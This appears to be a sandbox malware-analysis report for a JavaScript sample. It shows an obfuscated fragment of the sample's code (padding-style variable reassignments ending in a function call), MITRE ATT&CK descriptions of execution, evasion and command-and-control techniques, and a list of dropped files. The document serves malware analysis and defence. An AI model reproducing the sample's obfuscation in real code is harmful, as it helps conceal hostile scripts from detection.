145	nfprvojx = "o";
146	nfprvojx = "C";
147	nfprvojx = "R";
148	kjtnowjr = "V";
149	kjtnowjr = "f";
150	kjtnowjr = "h";
151	kjtnowjr = "p";
152	kjtnowjr = "U";
153	kjtnowjr = "Z";
154	kjtnowjr = "0";
155	hyvqx = "w";
156	hyvqx = "B";
157	hyvqx = "W";
158	hyvqx = "x";
159	hyvqx = "B";
160	hyvqx = "s";
161	hyvqx = "j";
162	hyvqx = "b";
163	zpizykdlr = "g";
164	zpizykdlr = "u";
165	zpizykdlr = "d";
166	zpizykdlr = "f";
167	zpizykdlr = "G";
168	zpizykdlr = "m";
169	zpizykdlr = "e";
170	zpizykdlr = "F";
171	zpizykdlr = "m";
172	zpizykdlr = "N";
173	hqehnmhz = "W";
174	hqehnmhz = "L";
175	hqehnmhz = "h";
176	hqehnmhz = "S";
177	hqehnmhz = "X";
178	hqehnmhz = "u";
179	hqehnmhz = "d";
180	ndlemk = "h";
181	ndlemk = "c";
182	ndlemk = "L";
183	ndlemk = "S";
184	ndlemk = "A";
185	ndlemk = "v";
186	ndlemk = "P";
187	oylxuwh = "y";
188	oylxuwh = "X";
189	oylxuwh = "h";
190	oylxuwh = "j";
191	oylxuwh = "h";
192	oylxuwh = "Q";
193	oylxuwh = "y";
194	oylxuwh = "D";
195	oylxuwh = "C";
196	oylxuwh = "5";
197	kccmpvbzq = "E";
198	kccmpvbzq = "p";
199	kccmpvbzq = "h";
200	kccmpvbzq = "U";
201	kccmpvbzq = "a";
202	kccmpvbzq = "b";
203	kccmpvbzq = "K";
204	soimvokha = "A";
205	soimvokha = "L";
206	soimvokha = "l";
207	soimvokha = "R";
208	soimvokha = "s";
209	soimvokha = "m";
210	soimvokha = "J";
211	soimvokha = "k";
212	soimvokha = "Z";
213	soimvokha = "4";
214	jauslzm = "W";
215	jauslzm = "K";
216	jauslzm = "E";
217	jauslzm = "c";
218	jauslzm = "I";
219	jauslzm = "N";
220	jauslzm = "E";
221	jauslzm = "A";
222	jauslzm = "o";
223	ownbq = "h";
224	ownbq = "n";
225	ownbq = "m";
226	ownbq = "w";
227	ownbq = "u";
228	ownbq = "N";
229	ownbq = "f";
230	ownbq = "p";
231	hfjif = "j";
232	hfjif = "C";
233	hfjif = "d";
234	hfjif = "W";
235	hfjif = "I";
236	hfjif = "o";
237	hfjif = "P";
238	hfjif = "h";
239	degggqirt = "E";
240	degggqirt = "X";
241	degggqirt = "T";
242	degggqirt = "M";
243	degggqirt = "e";
244	degggqirt = "j";
245	degggqirt = "P";
246	degggqirt = "D";
247	degggqirt = "B";
248	degggqirt = "_";
249	uongkuk = "D";
250	uongkuk = "B";
251	uongkuk = "B";
252	uongkuk = "Z";
253	uongkuk = "J";
254	uongkuk = "P";
255	uongkuk = "g";
256	uongkuk = "U";
257	uongkuk = "m";
258	tinuzmi = "l";
259	tinuzmi = "n";
260	tinuzmi = "R";
261	tinuzmi = "h";
262	tinuzmi = "B";
263	tinuzmi = "T";
264	tinuzmi = "3";
265	qoqij = "H";
266	qoqij = "t";
267	qoqij = "f";
268	qoqij = "y";
269	qoqij = "Q";
270	qoqij = "q";
271	qoqij = "Z";
272	qoqij = "-";
273	bocfghubu = "f";
274	bocfghubu = "S";
275	bocfghubu = "V";
276	bocfghubu = "v";
277	bocfghubu = "a";
278	bocfghubu = "r";
279	ietxgkah = "K";
280	ietxgkah = "F";
281	ietxgkah = "W";
282	ietxgkah = "p";
283	ietxgkah = "f";
284	ietxgkah = "o";
285	ietxgkah = "H";
286	ietxgkah = "q";
287	ietxgkah = "C";
288	ihokqrx = "Z";
289	ihokqrx = "g";
290	ihokqrx = "m";
291	ihokqrx = "t";
292	ihokqrx = "n";
293	ihokqrx = "d";
294	ihokqrx = "D";
295	ihokqrx = "F";
296	ihokqrx = "i";
297	qqcamz = "X";
298	qqcamz = "n";
299	qqcamz = "c";
300	qqcamz = "P";
301	qqcamz = "O";
302	qqcamz = "w";
303	qqcamz = "R";
304	qqcamz = "i";
305	qqcamz = "W";
306	vpcdm = "m";
307	vpcdm = "l";
308	vpcdm = "G";
309	vpcdm = "l";
310	vpcdm = "x";
311	vpcdm = "H";
312	vpcdm = "u";
313	vpcdm = "p";
314	vpcdm = "E";
315	gojajwkyv = "S";
316	gojajwkyv = "C";
317	gojajwkyv = "r";
318	gojajwkyv = "X";
319	gojajwkyv = "c";
320	gojajwkyv = "Z";
321	gojajwkyv = "y";
322	gojajwkyv = "D";
323	gojajwkyv = "7";
324	bowmjggh = "b";
325	bowmjggh = "p";
326	bowmjggh = "h";
327	bowmjggh = "X";
328	bowmjggh = "Z";
329	bowmjggh = "O";
330	zvoffk = "X";
331	zvoffk = "N";
332	zvoffk = "n";
333	zvoffk = "v";
334	zvoffk = "e";
335	zvoffk = "Y";
336	zvoffk = "R";
337	zvoffk = "\"";
338	odknmmnhv = "O";
339	odknmmnhv = "c";
340	odknmmnhv = "Q";
341	odknmmnhv = "C";
342	odknmmnhv = "V";
343	odknmmnhv = "f";
344	odknmmnhv = "s";
345	pwrwk = "c";
346	pwrwk = "A";
347	pwrwk = "B";
348	pwrwk = "Y";
349	pwrwk = "H";
350	pwrwk = "f";
351	pwrwk = "S";
352	xjtin = "M";
353	xjtin = "M";
354	xjtin = "T";
355	xjtin = "Z";
356	xjtin = "B";
357	xjtin = "m";
358	xjtin = "u";
359	xjtin = "z";
360	xjtin = "s";
361	xjtin = "I";
362	jfoaql = "f";
363	jfoaql = "s";
364	jfoaql = "B";
365	jfoaql = "z";
366	jfoaql = "A";
367	jfoaql = "t";
368	jfoaql = "i";
369	jfoaql = "E";
370	jfoaql = "G";
371	jfoaql = "U";
372	fqcnurhg = "O";
373	fqcnurhg = "S";
374	fqcnurhg = "o";
375	fqcnurhg = "t";
376	fqcnurhg = "P";
377	fqcnurhg = "p";
378	fqcnurhg = "S";
379	fqcnurhg = "l";
380	eabgd = "Y";
381	eabgd = "X";
382	eabgd = "c";
383	eabgd = "Y";
384	eabgd = "f";
385	eabgd = "H";
386	eabgd = "S";
387	eabgd = "I";
388	eabgd = "c";
389	eabgd = "w";
390	gowfmqdkb = "X";
391	gowfmqdkb = "n";
392	gowfmqdkb = "L";
393	gowfmqdkb = "Z";
394	gowfmqdkb = "y";
395	gowfmqdkb = "E";
396	gowfmqdkb = "Q";
397	gowfmqdkb = "j";
398	neoah = "f";
399	neoah = "Q";
400	neoah = "B";
401	neoah = "K";
402	neoah = "R";
403	neoah = "j";
404	neoah = "j";
405	neoah = "L";
406	neoah = "1";
407	nsxegkp = "h";
408	nsxegkp = "R";
409	nsxegkp = "v";
410	nsxegkp = "M";
411	nsxegkp = "h";
412	nsxegkp = "N";
413	nsxegkp = "x";
414	hbdvxy = "A";
415	hbdvxy = "M";
416	hbdvxy = "d";
417	hbdvxy = "l";
418	hbdvxy = "w";
419	hbdvxy = "e";
420	hbdvxy = "A";
421	hbdvxy = "k";
422	hbdvxy = "n";
423	hbdvxy = "9";
424	vxxpsbn = "K";
425	vxxpsbn = "x";
426	vxxpsbn = "E";
427	vxxpsbn = "d";
428	vxxpsbn = "L";
429	vxxpsbn = "v";
430	vxxpsbn = "w";
431	vxxpsbn = "r";
432	vxxpsbn = "k";
433	vhlmihmu = "F";
434	vhlmihmu = "l";
435	vhlmihmu = "I";
436	vhlmihmu = "N";
437	vhlmihmu = "L";
438	vhlmihmu = "i";
439	vhlmihmu = "w";
440	vhlmihmu = "c";
441	qtjnma = "f";
442	qtjnma = "t";
443	qtjnma = "Q";
444	qtjnma = "k";
445	qtjnma = "B";
446	qtjnma = "v";
447	qtjnma = "%";
448	geqdgzywp = "m";
449	geqdgzywp = "g";
450	geqdgzywp = "Y";
451	geqdgzywp = "r";
452	geqdgzywp = "e";
453	geqdgzywp = "j";
454	geqdgzywp = "k";
455	geqdgzywp = "G";
456	geqdgzywp = "Y";
457	geqdgzywp = "\\";
458	pfgvhngry = "L";
459	pfgvhngry = "M";
460	pfgvhngry = "u";
461	pfgvhngry = "F";
462	pfgvhngry = "a";
463	pfgvhngry = "F";
464	pfgvhngry = "a";
465	ffcnwm = "V";
466	ffcnwm = "X";
467	ffcnwm = "q";
468	ffcnwm = "s";
469	ffcnwm = "f";
470	ffcnwm = "n";
471	egkarbg = "b";
472	egkarbg = "X";
473	egkarbg = "a";
474	egkarbg = "S";
475	egkarbg = "h";
476	egkarbg = "v";
477	egkarbg = "z";
478	egkarbg = "P";
479	egkarbg = "T";
480	egkarbg = "/";
481	yxigmec = "j";
482	yxigmec = "N";
483	yxigmec = "R";
484	yxigmec = "s";
485	yxigmec = "W";
486	yxigmec = "P";
487	yxigmec = "l";
488	yxigmec = "V";
489	yxigmec = "z";
490	yxigmec = "e";
491	lihjcrym = "C";
492	lihjcrym = "v";
493	lihjcrym = "e";
494	lihjcrym = "w";
495	lihjcrym = "x";
496	lihjcrym = "F";
497	nxgfgwf = "h";
498	nxgfgwf = "p";
499	nxgfgwf = "b";
500	nxgfgwf = "E";
501	nxgfgwf = "b";
502	nxgfgwf = "o";
503	nxgfgwf = "g";
504	gonqxz ( );	gonqxz() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 16910148382611315301.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\eaac817a-454d-4a8c-acfe-32c0db8f5092.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6616

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
16910148382611315301.js